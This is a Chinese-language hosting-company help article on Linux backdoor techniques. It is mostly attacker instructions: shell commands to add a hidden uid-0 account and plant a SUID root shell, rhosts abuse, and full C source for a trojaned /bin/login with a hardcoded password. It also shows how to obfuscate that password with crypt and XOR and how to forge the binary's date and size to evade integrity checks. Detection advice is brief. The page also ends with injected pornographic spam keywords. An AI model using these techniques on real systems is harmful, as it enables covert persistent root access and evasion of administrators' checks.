1. <var id="fe6gj"></var>

    <rp id="fe6gj"><nav id="fe6gj"></nav></rp>

    <noframes id="fe6gj"><cite id="fe6gj"></cite>

    <ins id="fe6gj"><button id="fe6gj"><p id="fe6gj"></p></button></ins>
    1. <tt id="fe6gj"><i id="fe6gj"><sub id="fe6gj"></sub></i></tt>
        始創于2000年 股票代碼:831685
        咨詢熱線:0371-60135900 注冊有禮 登錄
        • 掛牌上市企業
        • 60秒人工響應
        • 99.99%連通率
        • 7*24h人工
        • 故障100倍補償
        您的位置: 網站首頁 > 幫助中心>文章內容

        系統安全之淺談Linux后門技術及實踐

        發布時間:  2012/9/15 20:11:20

        后門簡介

        入侵者完全控制系統后,為方便下次進入而采用的一種技術。一般通過修改系統配置文件和安裝第三方后門工具來實現。 具有隱蔽性,能繞開系統日志,不易被系統管理員發現等特點。

        常用后門技術

         

        增加超級用戶賬號
        破解/嗅探用戶密碼
        放置SUID Shell
        rhosts + +
        利用系統服務程序
        TCP/UDP/ICMP Shell
        Crontab定時任務
        共享庫文件
        工具包rootkit
        可裝載內核模塊(LKM)

        增加超級用戶

         

        # echo "e4gle:0:0::/:/bin/sh" >> /etc/passwd
        # echo "e4gle::-1:-1:-1:-1:-1:-1:500" >> /etc/shadow

        如果系統不允許uid=0的用戶遠程登錄,還需要增加一個普通用戶賬號。

        破解/嗅探用戶密碼

        獲得shadow文件后,用John the Ripper 工具破解薄弱的用戶密碼。安裝sniffit等嗅探工具,監聽telnet、ftp等端口,收集用戶密碼。

        放置SUID Shell

         

        # cp /bin/bash /dev/.rootshell
        # chmod u+s /dev/.rootshell

        普通用戶在本機運行/dev/.rootshell,即可獲得一個root權限的shell。

         

        rhosts + +
        
        # echo "+ +" > /.rhosts
        # rsh -l root victim.com csh -i

        遠程可以得到一個rootshell。

        利用系統服務程序

        修改/etc/inetd.conf, daytime stream tcp nowait /bin/sh sh -I;用trojan程序替換in.telnetd、in.rexecd等inted的服務程序,重定向login程序。

        TCP/UDP/ICMP Shell

        BindShell,大部分是基于TCP/UDP協議的網絡服務程序,在高端口監聽,很容易被發現。Ping Backdoor,通過ICMP包激活后門,形成一個Shell通道。TCP ACK數據包后門,能夠穿越防火墻。

        Crontab定時任務

        通過Crontab程序調度已安裝的后門程序定時運行,一般在深夜時段,是系統管理員不在線的時間。

        共享庫文件

        在共享庫中嵌入后門函數使用后門口令激活Shell,獲得權限能夠躲避系統管理員對二進制文件本身的校驗。

        工具包Rootkit

        包含一系列系統及后門工具:

         

        - 清除日志中的登錄記錄
        - 偽裝校驗和
        - 替換netstat、ps等網絡工具
        - 后門登錄程序易于安裝和使用

        可裝載內核模塊(LKM)

        LKM:Loadable Kernel Modules 動態的加載,不需要重新編譯內核。截獲系統調用,具有隱藏目錄、文件、進程、網絡連接等強大功能。自身隱蔽性好,發現難度較大。著名的LKM包有adore和knark。

        后門的檢測

        以自己的經驗,結合特定的工具,手工作一些檢測。使用Tripwire或md5校驗來檢查系統。借助IDS系統,監聽到目標機器的可疑網絡連接。

        實例:Login后門

        入侵者先把原始的/bin/login備份,再用一段程序替換/bin/login。入侵者telnet登錄進來的時候,通過環境變量或者終端類型

        傳遞了正確的后門密碼,將直接獲得一個Shell;如果是普通用戶登錄,將會重定向到原始的login文件,來處理正常的登錄。

        最簡單的login后門ulogin.c源代碼如下:

        實例:Login后門

         

        #include 
        #define PASSWORD "passWORD"
        #define _PATH_LOGIN "/sbin/logins"
        
        main (argc, argv, envp)
        int argc;
        char **argv, **envp;
        {
         char *display = getenv("DISPLAY";
         if ( display == NULL ) {
        execve(_PATH_LOGIN, argv, envp);
        perror(_PATH_LOGIN);
        exit(1);
         }
         if (!strcmp(display,PASSWORD)) {
        system("/bin/csh";
        exit(1);
         }
         execve(_PATH_LOGIN, argv, envp);
         exit(1);
        }

        利用后門登錄

        首先Telnet服務是打開的,在自己機器上:

         

        bash$ export DISPLAY=passWORD
        bash$ telnet victim.com
        Trying xxx.xxx.xxx.xxx...
        Connected to victim.com (xxx.xxx.xxx.xxx).
        Escape character is '^]'.
        % _

        Strings命令

        Strings命令能夠打印出二進制文件中的可顯示字符串,用于剛才的ulogin程序:

         

        bash$ strings ulogin
        /lib/ld-linux.so.2
        ..............
        DISPLAY
        /sbin/logins
        passWORD
        /bin/csh

        加密后門密碼

        1、采用DES算法,即crypt( )函數,編寫gen.c程序:

         

        #include 
        main(int argc, char *argv[])
        {
        if (argc != 3) {
        printf("usage: %s  \n", argv[0]);
        exit(1);
        }
        printf("%s\n", crypt(argv[1], argv[2]));
        }

        2、編譯為gen,執行./gen hack ui,得到的shadow結果為UiVqMWvDrIQjA。

        3、修改后門源程序ulogin.c:

        -- 以密文形式的密碼代替ulogin.c中define的宏PASSWORD值。

        -- 如果后門密碼正確,直接給出Shell:

         

        if (!strcmp(PASSWORD, crypt(display,PASSWORD)))
        {
        system(SHELL);
        exit(1);
        }

        用strings命令只能看到加密過的密碼。

        采用異或(XOR)算法

        以十六進制方式表示字符串,以達到non- printable的效果。

        1、編碼程序encode.c如下:

         

        char magic[]="\x71\x67\x6d\x7a\x65\x61\x7a";
        char *de(char *str,char *key)
        {
        int i=0,j=0,len;
        len=strlen(key);
        while(str != '\0') {
        str^=key[j];
        j++;
        if(j==len) j=0;
        i++;
        }
        return str;
        }
        void display(char *str)
        {
        int i;
        for(i=0;i

        2、編譯程序encode,依次執行得到關鍵字符串與magic串異或后的結果,例如原始login的文件名/sbin/xlogin,經過異或后為:

         

        \x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb

        3、在后門源代碼中這樣定義:

         

        Char
        login[]="\x5e\x14\xf\x13\xb\x4e\x2\x1d\x8\xa\x13\xb";

        然后插入異或函數char *de()結合同一magic串,就能判斷出正確的后門密碼。

        用strings命令看不到密碼、路徑等字符串了。

        最后的修飾

        使后門程序ulogin的strings輸出類似于正常login的strings輸出,做法為:在ulogin.c代碼中增加一個字符串數組char strings[] ="";,在引號中填入正常login程序的strings輸出結果。以假亂真,增加迷惑性。

        調整后門程序的文件日期、大小等屬性:

        1、日期

         

        # ls -l /sbin/xlogin
        -r-sr-xr-x root root 19300 Feb 11 1998
        /sbin/xlogin
        # touch -t 199802110000 ulogin
        # _

        2、調整大小

         

        # ls -l ulogin /sbin/xlogin
        -r-sr-xr-x root root 7542 Feb 11 1998 ulogin
        -r-sr-xr-x root root 19300 Feb 11 1998 /sbin/xlogin
        # bc
        19300-7542
        11758
        # dd if=/sbin/xlogin of=/tmp/t bs=11758 count=1
        1+0 records in
        1+0 records out
        11758 bytes transferred in 0.000379 secs (31016746
        bytes/sec)
        # cat /tmp/t >> ulogin

        Login后門的檢測

        使用命令md5sum對現有/bin/login文件作校驗,與以前的值作比較。使用Red Hat Linux的RPM校驗:

         

        # rpm -V util-linux

        在入侵者已經利用后門登錄的情況下,who是看不到用戶的,查看系統進程,查找login -h xxx.xxx.xxx.xxx的字樣。
        如果有需要服務器的租用與托管的敬請聯系QQ:1501281758(億恩星辰)   聯系電話:0371—63322220


        本文出自:億恩科技【www.endtimedelusion.com】

        服務器租用/服務器托管中國五強!虛擬主機域名注冊頂級提供商!15年品質保障!--億恩科技[ENKJ.COM]

      1. 您可能在找
      2. 億恩北京公司:
      3. 經營性ICP/ISP證:京B2-20150015
      4. 億恩鄭州公司:
      5. 經營性ICP/ISP/IDC證:豫B1.B2-20060070
      6. 億恩南昌公司:
      7. 經營性ICP/ISP證:贛B2-20080012
      8. 服務器/云主機 24小時售后服務電話:0371-60135900
      9. 虛擬主機/智能建站 24小時售后服務電話:0371-60135900
      10. 專注服務器托管17年
        掃掃關注-微信公眾號
        0371-60135900
        Copyright© 1999-2019 ENKJ All Rights Reserved 億恩科技 版權所有  地址:鄭州市高新區翠竹街1號總部企業基地億恩大廈  法律顧問:河南亞太人律師事務所郝建鋒、杜慧月律師   京公網安備41019702002023號
          0
         
         
         
         

        0371-60135900
        7*24小時客服服務熱線

         
         
        av不卡不卡在线观看_最近2018年中文字幕_亚洲欧美一区二区三区_一级A爱做片免费观看国产_日韩在线中文天天更新_伊人中文无码在线